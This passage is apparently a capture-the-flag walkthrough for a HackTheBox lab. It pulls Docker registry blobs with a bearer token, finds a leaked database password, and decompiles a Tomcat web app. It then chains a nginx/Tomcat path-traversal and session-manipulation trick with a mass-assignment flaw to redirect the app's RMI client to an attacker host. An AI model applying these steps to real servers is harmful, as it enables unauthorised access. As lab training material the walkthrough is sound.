$ for b in $(echo "$blobs"); do curl -k https://10.10.11.223:5000/v2/hosting-app/blobs/$b -so $b.tar.gz -H 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA'; done
$ ls
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110.tar.gz
sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7.tar.gz
sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9.tar.gz
sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42.tar.gz
sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4.tar.gz
sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b.tar.gz
sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c.tar.gz
sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268.tar.gz
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec.tar.gz
sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc.tar.gz
sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84.tar.gz
sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e.tar.gz
sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626.tar.gz
sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28.tar.gz
There we have it as compressed archives. Let’s take a look at the first one:
$ file sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz: gzip compressed data, original size modulo 2^32 2560
$ tar xvfz sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba.tar.gz
x etc/
x etc/hosting.ini
$ cat etc/hosting.ini
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=localhost
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
Well, it contains sensitive information, but it is useless for the moment.
WAR decompilation
There is another blob that contains the WAR file that is running on the server:
$ tar xvfz sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7.tar.gz
x usr/
x usr/local/
x usr/local/tomcat/
x usr/local/tomcat/webapps/
x usr/local/tomcat/webapps/hosting.war
WAR is just a JAR for web applications:
$ file usr/local/tomcat/webapps/hosting.war
usr/local/tomcat/webapps/hosting.war: Java archive data (JAR)
$ cp usr/local/tomcat/webapps/hosting.war hosting.jar
We can go to javadecompilers.com and upload the JAR to get readable Java source code (CFR decompiler works well usually):
Moreover, apart from Java classes, a WAR usually contains front-end files (HTML, CSS, JS, images), configuration files (mainly XML) and JSP files. To get them, we must decompress the JAR file (which is actually a ZIP file):
$ xxd hosting.jar | head
00000000: 504b 0304 1400 0808 0800 ad99 7b56 0000 PK..........{V..
00000010: 0000 0000 0000 0000 0000 1400 0400 4d45 ..............ME
00000020: 5441 2d49 4e46 2f4d 414e 4946 4553 542e TA-INF/MANIFEST.
00000030: 4d46 feca 0000 f34d cccb 4c4b 2d2e d10d MF.....M..LK-...
00000040: 4b2d 2ace cccf b352 30d4 33e0 e572 2e4a K-*....R0.3..r.J
00000050: 4d2c 494d d175 aab4 52f0 cc2b 49cd c9c9 M,IM.u..R..+I...
00000060: f452 f074 7175 e4e5 722a cdcc 2901 4ba4 .R.tqu..r*..).K.
00000070: 14e7 e797 4004 5274 bd52 b2ad 14ca 2086 ....@.Rt.R.... .
00000080: 2818 020d d133 34e4 e5e2 e502 0050 4b07 (....34......PK.
00000090: 08b5 a6d0 d257 0000 0061 0000 0050 4b03 .....W...a...PK.
$ cp hosting.jar hosting.zip
$ unzip -l hosting.zip
Archive: hosting.zip
Length Date Time Name
--------- ---------- ----- ----
97 03-27-2023 19:13 META-INF/MANIFEST.MF
0 03-27-2023 19:13 WEB-INF/
0 03-27-2023 19:13 WEB-INF/jsp/
0 03-27-2023 19:13 WEB-INF/jsp/domain/
17620 03-27-2023 19:13 WEB-INF/jsp/domain/list.jsp
1042 03-27-2023 19:13 WEB-INF/jsp/domain/new.jsp
0 03-27-2023 19:13 WEB-INF/jsp/auth/
4971 03-27-2023 19:13 WEB-INF/jsp/auth/signup.jsp
4301 03-27-2023 19:13 WEB-INF/jsp/auth/signin.jsp
21796 03-27-2023 19:13 WEB-INF/jsp/dashboard.jsp
6521 03-27-2023 19:13 WEB-INF/jsp/view.jsp
3844 03-27-2023 19:13 WEB-INF/jsp/configuration.jsp
9921 03-27-2023 19:13 WEB-INF/jsp/profile.jsp
6908 03-27-2023 19:13 WEB-INF/jsp/edit.jsp
849 03-27-2023 19:13 WEB-INF/web.xml
0 03-27-2023 19:13 WEB-INF/lib/
587402 03-27-2023 19:13 WEB-INF/lib/commons-lang3-3.12.0.jar
327135 03-27-2023 19:13 WEB-INF/lib/commons-io-2.11.0.jar
76204 03-27-2023 19:13 WEB-INF/lib/hibernate-commons-annotations-5.1.0.Final.jar
3409747 03-27-2023 19:13 WEB-INF/lib/tomcat-embed-core-9.0.41.jar
3472118 03-27-2023 19:13 WEB-INF/lib/byte-buddy-1.10.10.jar
2321813 03-27-2023 19:13 WEB-INF/lib/mysql-connector-java-8.0.17.jar
32103 03-27-2023 19:13 WEB-INF/lib/juel-api-2.2.7.jar
66469 03-27-2023 19:13 WEB-INF/lib/jboss-logging-3.3.2.Final.jar
13349 03-27-2023 19:13 WEB-INF/lib/tomcat-annotations-api-9.0.41.jar
164556 03-27-2023 19:13 WEB-INF/lib/javax.persistence-api-2.2.jar
323630 03-27-2023 19:13 WEB-INF/lib/dom4j-2.1.3.jar
195684 03-27-2023 19:13 WEB-INF/lib/jandex-2.1.3.Final.jar
56674 03-27-2023 19:13 WEB-INF/lib/javax.activation-api-1.2.0.jar
108892 03-27-2023 19:13 WEB-INF/lib/juel-impl-2.2.7.jar
1421323 03-27-2023 19:13 WEB-INF/lib/protobuf-java-3.6.1.jar
1715750 03-27-2023 19:13 WEB-INF/lib/freemarker-2.3.31.jar
36073 03-27-2023 19:13 WEB-INF/lib/stax-ex-1.8.jar
7293382 03-27-2023 19:13 WEB-INF/lib/hibernate-core-5.4.16.Final.jar
25523 03-27-2023 19:13 WEB-INF/lib/istack-commons-runtime-3.0.7.jar
777669 03-27-2023 19:13 WEB-INF/lib/javassist-3.24.0-GA.jar
1093432 03-27-2023 19:13 WEB-INF/lib/jaxb-runtime-2.3.1.jar
26290 03-27-2023 19:13 WEB-INF/lib/jboss-transaction-api_1.2_spec-1.1.1.Final.jar
128076 03-27-2023 19:13 WEB-INF/lib/jaxb-api-2.3.1.jar
445288 03-27-2023 19:13 WEB-INF/lib/antlr-2.7.7.jar
311876 03-27-2023 19:13 WEB-INF/lib/FastInfoset-1.2.15.jar
414240 03-27-2023 19:13 WEB-INF/lib/jstl-1.2.jar
72446 03-27-2023 19:13 WEB-INF/lib/commons-fileupload-1.4.jar
70288 03-27-2023 19:13 WEB-INF/lib/txw2-2.3.1.jar
67815 03-27-2023 19:13 WEB-INF/lib/classmate-1.5.1.jar
559366 03-27-2023 19:13 WEB-INF/lib/commons-collections-3.1.jar
0 03-27-2023 19:13 WEB-INF/classes/
0 03-27-2023 19:13 WEB-INF/classes/com/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/
989 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/FileService.class
2468 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/AbstractFile.class
2109 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/rmi/RMIClientWrapper.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/filter/
2566 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/filter/AuthenticationFilter.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/
3293 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/CryptUtil.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/
1227 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigSchedule$1.class
3876 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/Settings.class
892 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigWatcher.class
2022 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/config/ConfigSchedule.class
986 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/Constants.class
2457 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/FileUtil.class
4620 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/PasswordAuthentication.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/
3211 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSessionManager.class
3023 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/edits/EditFileSession.class
5569 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/StringUtil.class
4636 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/DisplayUtil.class
3144 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/utils/HibernateUtil.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/
3172 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/RegistrationServlet.class
1812 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AbstractServlet.class
3609 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AuthenticationServlet.class
3934 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ProfileServlet.class
3798 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ConfigurationServlet.class
1324 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/DashboardServlet.class
10359 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/DomainServlet.class
4034 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/ViewServlet.class
1465 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/LogoutServlet.class
2572 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/AutoSaveServlet.class
4462 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/services/EditServlet.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/security/
3911 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/security/IOSecurity.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/
4379 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/UserDAO.class
2442 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/dao/DomainDAO.class
0 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/
4866 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/Domain.class
4624 03-27-2023 19:13 WEB-INF/classes/com/htb/hosting/model/User.class
1532 03-27-2023 19:13 500.jsp
1565 03-27-2023 19:13 403.jsp
0 03-27-2023 19:13 resources/
0 03-27-2023 19:13 resources/css/
2934019 03-27-2023 19:13 resources/css/tailwind.min.css
0 03-27-2023 19:13 META-INF/
1685 03-27-2023 19:13 404.jsp
22236 03-27-2023 19:13 template.html
71 03-27-2023 19:13 index.jsp
--------- -------
28761442 101 files
$ unzip -q hosting.zip
Just to finish with the Docker image inspection, we can find this script:
$ tar xvfz sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4.tar.gz
x usr/
x usr/local/
x usr/local/bin/
x usr/local/bin/docker-java-home
$ cat usr/local/bin/docker-java-home
#!/bin/sh
set -e
dirname "$(dirname "$(readlink -f "$(which javac || which java)")")"
There are also blobs that contain the tomcat-users.xml
configuration file, where the administration password is usually stored, but there is no password there.
Source code analysis
The Java source code of the web application is overwhelming, I will only put specific parts that are relevant.
The project is structured as follows:
security
: It contains a class that contains some authorization checks and sanitization functionsmodel
: Here there are two classes calledUser
andDomain
, which are the main objects handled by the web applicationfilter
: This is usually named as middleware in other frameworks, it just checks if incoming requests are authenticated or notservices
: Here we have all the servlets (controllers in Java terms):AbstractServlet
AuthenticationServlet
AutoSaveServlet
ConfigurationServlet
DashboardServlet
DomainServlet
EditServlet
LogoutServlet
ProfileServlet
RegistrationServlet
ViewServlet
dao
: These are the Data Access Objects, used to access the MySQL database usingHibernate
(UserDAO
andDomainDAO
). There does not seem to be SQL-related vulnerabilities herermi
: This stands for Remote Method Invocation, it contains a class that implements an RMI client (RMIClientWrapper
)utils
: Just utility functions used by other classes
In summary, this is the project structure:
$ tree WEB-INF META-INF
WEB-INF
├── classes
│ └── com
│ └── htb
│ └── hosting
│ ├── dao
│ │ ├── DomainDAO.class
│ │ └── UserDAO.class
│ ├── filter
│ │ └── AuthenticationFilter.class
│ ├── model
│ │ ├── Domain.class
│ │ └── User.class
│ ├── rmi
│ │ ├── AbstractFile.class
│ │ ├── FileService.class
│ │ └── RMIClientWrapper.class
│ ├── security
│ │ └── IOSecurity.class
│ ├── services
│ │ ├── AbstractServlet.class
│ │ ├── AuthenticationServlet.class
│ │ ├── AutoSaveServlet.class
│ │ ├── ConfigurationServlet.class
│ │ ├── DashboardServlet.class
│ │ ├── DomainServlet.class
│ │ ├── EditServlet.class
│ │ ├── LogoutServlet.class
│ │ ├── ProfileServlet.class
│ │ ├── RegistrationServlet.class
│ │ └── ViewServlet.class
│ └── utils
│ ├── Constants.class
│ ├── CryptUtil.class
│ ├── DisplayUtil.class
│ ├── FileUtil.class
│ ├── HibernateUtil.class
│ ├── PasswordAuthentication.class
│ ├── StringUtil.class
│ ├── config
│ │ ├── ConfigSchedule$1.class
│ │ ├── ConfigSchedule.class
│ │ ├── ConfigWatcher.class
│ │ └── Settings.class
│ └── edits
│ ├── EditFileSession.class
│ └── EditFileSessionManager.class
├── jsp
│ ├── auth
│ │ ├── signin.jsp
│ │ └── signup.jsp
│ ├── configuration.jsp
│ ├── dashboard.jsp
│ ├── domain
│ │ ├── list.jsp
│ │ └── new.jsp
│ ├── edit.jsp
│ ├── profile.jsp
│ └── view.jsp
├── lib
│ ├── FastInfoset-1.2.15.jar
│ ├── antlr-2.7.7.jar
│ ├── byte-buddy-1.10.10.jar
│ ├── classmate-1.5.1.jar
│ ├── commons-collections-3.1.jar
│ ├── commons-fileupload-1.4.jar
│ ├── commons-io-2.11.0.jar
│ ├── commons-lang3-3.12.0.jar
│ ├── dom4j-2.1.3.jar
│ ├── freemarker-2.3.31.jar
│ ├── hibernate-commons-annotations-5.1.0.Final.jar
│ ├── hibernate-core-5.4.16.Final.jar
│ ├── istack-commons-runtime-3.0.7.jar
│ ├── jandex-2.1.3.Final.jar
│ ├── javassist-3.24.0-GA.jar
│ ├── javax.activation-api-1.2.0.jar
│ ├── javax.persistence-api-2.2.jar
│ ├── jaxb-api-2.3.1.jar
│ ├── jaxb-runtime-2.3.1.jar
│ ├── jboss-logging-3.3.2.Final.jar
│ ├── jboss-transaction-api_1.2_spec-1.1.1.Final.jar
│ ├── jstl-1.2.jar
│ ├── juel-api-2.2.7.jar
│ ├── juel-impl-2.2.7.jar
│ ├── mysql-connector-java-8.0.17.jar
│ ├── protobuf-java-3.6.1.jar
│ ├── stax-ex-1.8.jar
│ ├── tomcat-annotations-api-9.0.41.jar
│ ├── tomcat-embed-core-9.0.41.jar
│ └── txw2-2.3.1.jar
└── web.xml
META-INF
└── MANIFEST.MF
19 directories, 74 files
If we look at the servlets in services
, we will recognize all of them from previous tested functionalities. But there is one called ConfigurationServlet
that was not possible to test. This is the Java code for this class:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.services.AbstractServlet
* com.htb.hosting.services.ConfigurationServlet
* com.htb.hosting.utils.config.Settings
* javax.servlet.RequestDispatcher
* javax.servlet.ServletException
* javax.servlet.ServletRequest
* javax.servlet.ServletResponse
* javax.servlet.annotation.WebServlet
* javax.servlet.http.HttpServletRequest
* javax.servlet.http.HttpServletResponse
*/
package com.htb.hosting.services;
import com.htb.hosting.services.AbstractServlet;
import com.htb.hosting.utils.config.Settings;
import java.io.IOException;
import java.util.HashMap;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/*
* Exception performing whole class analysis ignored.
*/
@WebServlet(name="reconfigure", value={"/reconfigure"})
public class ConfigurationServlet
extends AbstractServlet {
private static final long serialVersionUID = -2336661269816738483L;
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
rd.include((ServletRequest)request, (ServletResponse)response);
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
request.setAttribute("message", (Object)"Settings updated");
rd.include((ServletRequest)request, (ServletResponse)response);
}
private static boolean checkManager(HttpServletRequest request, HttpServletResponse response) throws IOException {
boolean isManager;
boolean bl = isManager = request.getSession().getAttribute("s_IsLoggedInUserRoleManager") != null;
if (!isManager) {
response.sendRedirect(request.getContextPath() + "/panel");
}
return isManager;
}
public void destroy() {
}
}
As can be seen, in both doGet
and doPost
there is a check to see if we have s_IsLoggedInUserRoleManager
set in our session (it calls checkManager
):
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
Tomcat and nginx exploitation
We already know that the server is running Tomcat. Plus, on port 443 there is an nginx server acting as a reverse proxy (watch the initial nmap
scan). There are vulnerabilities that can happen with this configuration:
- Path traversal: More information at acunetix.com
- Session modification: More information at acunetix.com
Both of them are exploitable. We can try to access /manager/html
(the administration panel in Tomcat):
But since we don’t know the credentials (typical ones do not work), we get a 401 error:
Here we can cause a 404 error to leak the specific Tomcat version (9.0.2), in case it is useful later:
The second vulnerability tries to access /examples
, which has some servlets that can be used:
The one that is critical is the SessionServlet
, because it allows us to modify our session object on demand:
For instance, we can set s_IsLoggedInUserRoleManager
to true
:
And if we return to our profile, we now have a “Configuration” option:
Here we are allowed to change the maximum amount of domains and the default index.html
file (this might be helpful if we were to use an XSS attack):
However, let’s take a look again at ConfigurationServlet
, more precisely, at doPost
:
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
if (!ConfigurationServlet.checkManager((HttpServletRequest)request, (HttpServletResponse)response)) {
return;
}
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
RequestDispatcher rd = request.getRequestDispatcher("/WEB-INF/jsp/configuration.jsp");
request.setAttribute("message", (Object)"Settings updated");
rd.include((ServletRequest)request, (ServletResponse)response);
}
These lines:
HashMap parameterMap = new HashMap();
request.getParameterMap().forEach((k, v) -> parameterMap.put(k, v[0]));
Settings.updateBy(parameterMap);
Are taking all the parameters coming in the web request and putting them into a HashMap
object that is passed to Settings.updateBy
:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.utils.Constants
* com.htb.hosting.utils.StringUtil
* com.htb.hosting.utils.config.Settings
*/
package com.htb.hosting.utils.config;
import com.htb.hosting.utils.Constants;
import com.htb.hosting.utils.StringUtil;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.util.Map;
import java.util.Properties;
/*
* Exception performing whole class analysis ignored.
*/
public class Settings {
private static Properties prop = null;
public static void updateBy(Map<String, String> parameterMap) {
try {
parameterMap.forEach((k, v) -> prop.put(k, v));
prop.store(new FileOutputStream(Constants.SETTINGS_FILE), null);
}
catch (IOException e) {
e.printStackTrace();
}
}
// ...
}
Basically, it takes all key-value pairs from the HashMap
object and writes them into a file (/etc/hosting.ini
):
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.utils.Constants
*/
package com.htb.hosting.utils;
import java.io.File;
public interface Constants {
public static final String S_USER_ID = "s_LoggedInUserUUID";
public static final String S_USER_NAME = "s_DisplayLoggedInUsernameSafe";
public static final String S_IS_USER_ROLE_MGR = "s_IsLoggedInUserRoleManager";
public static final String SAFE_FILE = "safeFile";
public static final String BASE_DIR = "baseDir";
public static final String EDIT_FILE = "editFile";
public static final String SELECTED_DOMAIN = "domain";
public static final String CREATE_DOMAIN = "new";
public static final String ROLE_MGR = "manager";
public static final String ROLE_CUSTOMER = "customer";
public static final String KEY_MAX_DOMAINS = "domains.max";
public static final String KEY_DOMAIN_TEMPLATE = "domains.start-template";
public static final File SETTINGS_FILE = new File("/etc/hosting.ini");
}
Let’s recall the contents of /etc/hosting.ini
:
#Mon Jan 30 21:05:01 GMT 2023
mysql.password=O8lBvQUBPU4CMbvJmYqY
rmi.host=registry.webhosting.htb
mysql.user=root
mysql.port=3306
mysql.host=localhost
domains.start-template=<body>\r\n<h1>It works\!</h1>\r\n</body>
domains.max=5
rmi.port=9002
Although the front-end page (JSP) only allows to change domains.start-template
and domains.max
, the servlet does not check these parameters. Therefore, we have a mass assignment vulnerability here, because we can modify any of the above configurations. The one that looks promising is the rmi.host
, because we can point it to our attacker machine and tell the RMI client to execute a (malicious) method defined by us.
This is the code for the RMIClientWrapper
class:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.rmi.FileService
* com.htb.hosting.rmi.RMIClientWrapper
* com.htb.hosting.utils.config.Settings
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.FileService;
import com.htb.hosting.utils.config.Settings;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.logging.Logger;
public class RMIClientWrapper {
private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());
public static FileService get() {
try {
String rmiHost = (String)Settings.get(String.class, (String)"rmi.host", null);
if (!rmiHost.contains(".htb")) {
rmiHost = "registry.webhosting.htb";
}
System.setProperty("java.rmi.server.hostname", rmiHost);
System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
log.info(String.format("Connecting to %s:%d", rmiHost, Settings.get(Integer.class, (String)"rmi.port", (Object)9999)));
Registry registry = LocateRegistry.getRegistry(rmiHost, (Integer)Settings.get(Integer.class, (String)"rmi.port", (Object)9999));
return (FileService)registry.lookup("FileService");
}
catch (Exception e) {
e.printStackTrace();
throw new RuntimeException(e);
}
}
}
Notice that the rmi.host
must contain the string .htb
.
The RMI server is supposed to have implemented the functions that appear the FileService
interface:
/*
* Decompiled with CFR 0.150.
*
* Could not load the following classes:
* com.htb.hosting.rmi.AbstractFile
* com.htb.hosting.rmi.FileService
*/
package com.htb.hosting.rmi;
import com.htb.hosting.rmi.AbstractFile;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
public interface FileService
extends Remote {
public List<AbstractFile> list(String var1, String var2) throws RemoteException;
public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException;
public boolean delete(String var1) throws RemoteException;
public boolean createDirectory(String var1, String var2) throws RemoteException;
public byte[] view(String var1, String var2) throws IOException;
public AbstractFile getFile(String var1, String var2) throws RemoteException;
public AbstractFile getFile(String var1) throws RemoteException;
public void deleteDomain(String var1) throws RemoteException;
public boolean newDomain(String var1) throws RemoteException;
public byte[] view(String var1) throws RemoteException;
}
RMI exploitation
For the moment, let’s run the WAR file locally and test the attack. In order to get no errors, we need to set up a MySQL server with these tables (file named as docker-entrypoint-initdb.d/db.sql
):
CREATE TABLE users (
id binary(16) NOT NULL,
nickname VARCHAR(255) NOT NULL,
email VARCHAR(255) NOT NULL,
password_hash VARCHAR(255) NOT NULL,
role VARCHAR(255) NOT NULL,
PRIMARY KEY (id)
);
CREATE TABLE domains (
id binary(16) NOT NULL,
description VARCHAR(255) NOT NULL,
vhost VARCHAR(255) NOT NULL,
user_id binary(16) NOT NULL,
PRIMARY KEY (id),
FOREIGN KEY (user_id) REFERENCES users (id)
);
The information above comes from models
(User
and Domain
classes). Also, UUID
is supported by MySQL as binary(16)
(more information here).
I will use Docker containers:
$ docker run --rm -v "$PWD/docker-entrypoint-initdb.d:/docker-entrypoint-initdb.d" -e MYSQL_DATABASE=hosting -e MYSQL_ROOT_PASSWORD=O8lBvQUBPU4CMbvJmYqY -p 3306:3306 -it mysql
[Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.34-1.el8 started.
[Note] [Entrypoint]: Switching to dedicated user 'mysql'
[Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.34-1.el8 started.
[Note] [Entrypoint]: Initializing database files
[Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
[System] [MY-013169] [Server] /usr/sbin/mysqld (mysqld 8.0.34) initializing of server in progress as process 80
[System] [MY-013576] [InnoDB] InnoDB initialization has started.
[System] [MY-013577] [InnoDB] InnoDB initialization has ended.
[Warning] [MY-010453] [Server] root@localhost is created with an empty password ! Please consider switching off the --initialize-insecure option.
[Note] [Entrypoint]: Database files initialized
[Note] [Entrypoint]: Starting temporary server
mysqld will log errors to /var/lib/mysql/b64d6bdff753.err
mysqld is running as pid 125
[Note] [Entrypoint]: Temporary server started.
'/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock'
Warning: Unable to load '/usr/share/zoneinfo/iso3166.tab' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/leap-seconds.list' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/leapseconds' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/tzdata.zi' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/zone.tab' as time zone. Skipping it.
Warning: Unable to load '/usr/share/zoneinfo/zone1970.tab' as time zone. Skipping it.
[Note] [Entrypoint]: Creating database hosting
[Note] [Entrypoint]: /usr/local/bin/docker-entrypoint.sh: running /docker-entrypoint-initdb.d/db.sql
[Note] [Entrypoint]: Stopping temporary server
[Note] [Entrypoint]: Temporary server stopped
[Note] [Entrypoint]: MySQL init process done. Ready for start up.
[Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead.
[System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.34) starting as process 1
[System] [MY-013576] [InnoDB] InnoDB initialization has started.
[System] [MY-013577] [InnoDB] InnoDB initialization has ended.
[Warning] [MY-010068] [Server] CA certificate ca.pem is self signed.
[System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel.
[Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory.
[System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock
[System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.34' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL.
Now, to run the WAR file, we will use another Docker container with a Tomcat (9.0.2) image. We also need to enter the hosting.ini
file (a bit different because of the MySQL connection) and set registry.webhosting.htb
